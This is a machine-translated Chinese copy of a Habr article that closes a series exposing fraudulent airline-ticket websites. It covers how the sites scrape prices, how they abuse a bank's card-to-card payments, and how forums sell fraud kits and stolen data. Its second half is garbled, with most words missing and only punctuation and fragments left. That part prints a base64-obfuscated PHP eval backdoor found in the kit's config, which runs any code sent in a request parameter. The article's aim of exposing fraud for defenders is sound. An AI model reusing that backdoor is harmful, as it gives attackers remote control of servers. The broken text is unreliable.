该出版物的第一部分出版后大约三周,其中提到了使用Promsvyazbank的卡到卡转账服务的欺诈者,该银行对其服务进行了一些更改,我认为这很重要。早些时候,通过Promsvyazbank的网站付款时,付款人收到的短信是“ P2P PSBANK”,但是现在却开始收到“ CARD2CARD PSBANK.RU”的短信。即便如此,乍一看,对付款目的解密的微小变化也足以使一些欺诈者的潜在受害者在确认阶段取消付款。我认为这不是巧合,所做的更改正是由于GeekTimes上的文章的发布而导致的。

在文章的第一部分发布之后,很可能会更改SMS中的确认文本,并且可能会对Promsvyazbank的从卡到卡的转移服务的算法进行其他调整。我不能说100%,但是我的观点是,在Promsvyazbank 3ds.payment.ru服务成功在发卡付款人的银行网站上成功输入3D安全代码后,没有检查用户返回其网站的可能性。因此,即使欺诈性脚本更改了退货页面,付款仍要进行。

该出版物多次提到该银行,它很幸运获得免费广告。我认为实际上仍然有足够数量的此类银行。只是,这更幸运,因为它首先被选择用于欺诈性网站,然后在本文中进行分析。就像他们说的那样,没有健康的患者,没有检查良好的患者。

在撰写本文时,创建战斗欺诈性脚本的任务不值得。任务是试图了解其工作原理或工作原理,从而弄清楚“机票购买者”可能被欺骗的原因,并由此得出结论。

本文提出了许多问题,但并未提供所有答案。我相信,在读者中将会有足够的高级用户,他们可以更准确地评论临床情况并做出诊断。就我而言,我试图尽可能完整地提供证词...

完成了对付款脚本进行分析的出版物的一部分。那些能够读到这个地方的人还有更多的奖金。


廉价机票从哪里冒充?

在出版物的上半部分中,通过间接的标志表明,有关场所和价格可用性的信息是通过编程在某个诚实站点上获得的,并已修改并发布给用户。

欺诈性网站上的可用性和价格信息示例


现在,我们有机会查看幕后情况,并查看如何在程序代码中实现这一点。

这是欺诈网站代码中的位置,我们在其中查看来自欺诈网站的航班的图片和价格。



如本系列欺诈站点所预期的那样,有关可用地点的信息是在诚实站点上获取的www.aviacassa.ru。由于航空公司和航班数量很多,因此很难事先下载所有图片和图标,因此直接将这些图片的链接留到原始站点。

折扣将从收到的机票原始价格中扣除。如前所示,欺诈站点的所有者可以任意设置折扣金额。折扣金额存储在aviacfg.php文件中。

一部更完整的代码,负责获取有关座位可用性的信息,准备图片链接以及在扰流板下改变价格。

价格解析器-代码的更完整部分


我们不会逐行反汇编这部分内容,因为重要的不是代码本身,而是关于欺诈性网站机票上的真实数据的来源和方式的想法。

旧的解析器使用另一个站点来获取数据:



售票处的提示(www.aviacassa.ru)-您需要关闭从外部引荐来源网站(引荐网站)链接到域文件的可能性。这个机会可以对所有人开放,没有例外,或者您可以仅对可信任的合作伙伴例外。使用aviacassa的NGINX Web服务器使此操作变得容易。对于可以用作“信息提供者”的所有相似站点,均采用相同的建议。

如果欺诈性网站无法直接链接到售票处等网站上的图像,这会使他们的生活变得复杂。事先不知道各种航空公司的徽标和图片的数量。即使您尝试提前下载图片,也可以跳过某些步骤,并且欺诈性网站看起来很丑陋。此类站点将根据每个请求被迫将所有图片本地下载到服务器,或者至少检查此类图片先前是否已下载到“缓存”中。这增加了诈骗服务器的负载,并使页面渲染速度变慢。此外,一次直接链接到图像的能力的关闭将使所有使用售票处信息的当前欺诈站点均无法使用。

当然,随着时间的流逝,开发人员将制作补丁。但是,由于欺诈性站点不是集中管理的,并且各种人都没有自动软件更新,因此欺诈性站点的每个所有者都必须寻找机会进行升级。有人将找到更新的代码,但有人将找不到,并且站点将停止工作。

同样,售票处可能会为此类图像提供单独的日志,其中将保存有关所有外部推荐人(推荐站点)的记录。在几天后的日志中,您将获得所有活动欺诈站点的列表。这非常方便-您可以要求他们在列表(日志文件)中进行独立注册,而不是尝试单独查找每个站点。

如果售票处有有趣的管理员,您可以开个玩笑...
- NGINX , , «» , URL , . . — « » , -, , , , .

有人可能会说,此类文章的发布是骗子的培训工具,并提出了一个问题,为什么我将其发布在这里?我回答。如果基于某种易受攻击或未充分保护的软件的使用而存在某种偷钱的方式,至少有人知道这种方式,并且他们的目标是从中获利,那么试图隐藏此类信息并假装没有问题的尝试只会导致后果更糟。欺诈者甚至更积极地使用这些方法,而银行则很高兴,因为它们定期支付服务佣金并从中窃取资金。如果一切都很好,为什么银行需要改变一些东西?有时,只有一些互联网用户会受到欺骗,并在欺诈性网站上赔钱。但是谁在乎呢?

我的观点是,如果很多人都知道偷钱的“难得”机会,那么随着时间的流逝,欺诈者将变得更加难以使用它,而使用它来忽视问题的组织将变得不可能。

Payp2.php脚本,并拥有一批在最近的欺诈网站销售机票,用户发送给我的接连发生中使用的文件的frozenstorm。我不知道他从哪里得到的-将与此主题有关的所有问题直接交给他。

但是我可以立即说,正如后来发现的那样,为销售机票的欺诈网站找到完整的源代码并不难。搜索“假航班”。两个主要的搜索引擎都在首页上提供链接。一套完整的源代码仅需25-30吨卢布。在该主题停止工作之后,卖方认为“容易完成”的无效工作源代码开始售价为10tr。最近,根据论坛上的消息判断,据称2.0版再次以25tr的价格出售。

以下是在其中一个论坛上免费出售欺诈性网站的源代码以出售机票的剧透示例。

论坛的屏幕截图。(整洁,很长的图片)

. (2/5)


. (3/5)


. (4/5)


. (5/5)



在屏幕快照中显示的论坛上,公开买卖类似欺诈网站的代码,信用卡信息,护照数据,国家数据库中的个人信息,并建议制作假护照,驾驶执照等。例如,这只是一个简短列表。即除了极少数的例外,还有持续的犯罪。同时,论坛管理部门充当买卖双方之间的担保人。有许多这样的论坛。他们都自由地工作了多年。搜索引擎(Yandex,Google等)都对它们进行了完美索引。我没有引用特定论坛的地址。他们很容易找到。

由于在每个出售机票的欺诈性网站的背后都有一个单独的人以低价购买网站的源代码,因此在每种情况下,您都可以找到负责人,因此必须做到这一点。并非每个伪造网站的管理员都是超级专业人士,他们找不到踪迹。我敢肯定,在这样的管理员中,已经有足够的继承者,如果他们具有适当的权限,则可以计算出来。但是,我认为,与其尝试分别处理每个假冒网站,不如关注那些自由散布这些假冒网站来源的网站。

为了对销售假机票的欺诈站点造成沉重打击,您不需要太多。如果每个人都做一点,那么这将极大地使欺诈者的生活复杂化,并可能引起进行此类业务效率低下的问题。搜索引擎需要一点注意-防止此类网站进入广告。在没有广告的情况下将此类网站分解为最佳结果是不现实的。此外,搜索引擎应排除实际买卖犯罪计划的网站。银行需要一点时间来跟踪其支付服务,以使欺诈者无法轻易使用它们。需要主人的一点注意。您需要支付系统方面的一点注意-首先,请勿在未检查3D Secure的情况下进行支付(如出版物的第一部分所示,仍然有可能)。需要执法部门的注意。与其调查每一个盗窃案件,不如事先采取行动,它更有效率-应对诈骗者交流的巢穴(例如,分析那些影子论坛)。当然,您需要潜在的机票购买者一点注意。

他们说维修无法完成,只能停止。该出版物是类似情况。因此,尽管可以写更多的书,但我将在这里停止。谢谢您的关注。我很高兴您的评论。

PS关于成龙...你看不懂
, , , , .

, , , , - . . .

fon.png. , , . (merch) . .

. , - , . . .


VISA Mastercard (logo_standart_ru.png):



. , .

parser.php


.

, , , - . , -, «» . (config.php) , . . . . .



'.@evalbase64_dec&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;#111;deDQppZihpc3NldCgkX1JFUVVFU1RbImRsZV9leGVjIl0pKXsNCglAZXZhbCgkX1JFUVVFU1RbImRsZV9leGVjIl0pOw0KCWV4aXQ7DQp9LyoqLw0K.//456' => 'qwe',

'.@evalbase64_dec&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;#111;deDQppZihpc3NldCgkX1JFUVVFU1RbImRsZV9leGVjIl0pKXsNCglAZXZhbCgkX1JFUVVFU1RbImRsZV9leGVjIl0pOw0KCWV4aXQ7DQp9LyoqLw0K.//456' => 'qwe',

.


, , , «» .

email
, EMAIL. :


3ds.payment.ru Lakhtin@psbank.ru.

, ? , - . , , Mastercard 3DS.

https://www.mastercard.us/content/dam/mccom/en-us/documents/SecureCode%20Vendor%20list/3ds-vendor-list-042215.pdf

Mastercard


email . - . - . .. - , , , - .

, email ? . , -, . , . . , , - - , , .

. , - - email . , , . , . , , , . - , , , email -, - . (, , .. ). , .. . . , -, . , , , , . . , -, , . , , , , .

? , . email , , . . - , - , .

?
, , «» 3ds.payment.ru, . , LaravelRUS , Curl 3ds.payment.ru.

, . ? ? ?
, , .







. . - .



:

» https://gitter.im/LaravelRUS/chat/archives/2016/05/06 — . .
» http://gitchat.org/developers/Valtas
» https://github.com/Valtas — Github
» https://www.fl.ru/tu/57770/parser-internet-magazina.html - .

, , — .

, . , . , .

http://forum.prootzyvy.org/forums/spisok-sajtov-moshennikov-po-prodazhe-aviabiletov.134/

336 . , . .



? , . . , . , , , .. , . , , . , - « » . ( ). - 5-10-20 .. , , , . (), , , .

. ?
. . , . , . «. ». , . , . . . .

, , . , , -, . , . , , .

, . , . , .

, , . - - . . , .



80 , . , . , . :



56 , « », , .
, , « », , .

:





- -. , . , . . , . , , , .

Source: https://habr.com/ru/post/zh-CN398313/


All Articles